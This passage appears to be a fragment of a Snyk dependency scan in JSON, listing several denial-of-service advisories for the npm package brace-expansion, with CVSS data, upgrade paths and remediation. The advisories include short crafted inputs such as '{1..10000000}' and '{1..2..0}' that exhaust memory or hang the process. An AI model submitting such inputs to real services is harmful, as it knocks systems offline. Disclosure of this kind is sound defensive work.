Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing 